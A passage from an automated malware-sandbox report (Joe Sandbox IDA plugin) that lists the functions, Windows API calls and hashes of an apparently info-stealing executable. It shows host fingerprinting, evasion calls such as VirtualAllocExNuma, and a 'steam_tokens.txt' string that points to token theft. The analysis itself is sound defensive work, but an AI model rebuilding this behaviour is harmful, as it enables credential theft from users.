Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: e6095971595455a4de3a8a930ec904699319ffc5b44768cd80a426f21a74fb31
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: e6095971595455a4de3a8a930ec904699319ffc5b44768cd80a426f21a74fb31
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,00920C58,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,00920C58,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00920428,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00920428,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00920428,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00920428,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,00920C38,00000000,?,00420E24,00000000,?,00000000,00000000,?,00920368,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,0091D5C0,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,00920BD8,00000000,00000000,000000FF,000000FF), ref: 00417E7F
Part of subcall function 00417E00: RegCloseKey.ADVAPI32(?), ref: 00417E92

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00920470,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00920470,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,0091E398,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 0041848C
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2204142833-0
Opcode ID: ef312c7cf94c306520edbc6d8edab729ea16a04367812204fc3e4c9b348f7452
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: ef312c7cf94c306520edbc6d8edab729ea16a04367812204fc3e4c9b348f7452
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 9d8d46b730a13363a094c7c802bc4b71a9dac9359dfa91982ed5e89848fb10e4
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 9d8d46b730a13363a094c7c802bc4b71a9dac9359dfa91982ed5e89848fb10e4
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: 1263f94a3d34a88dfc10fc4915fad2f88ccd78eb7b73c3c94e3818bf78d8ecad
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: 1263f94a3d34a88dfc10fc4915fad2f88ccd78eb7b73c3c94e3818bf78d8ecad
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 9089f5c34e667168df8846cd3c314006c6dc6c17b735b5b16a801bded4afe97e
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 9089f5c34e667168df8846cd3c314006c6dc6c17b735b5b16a801bded4afe97e
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
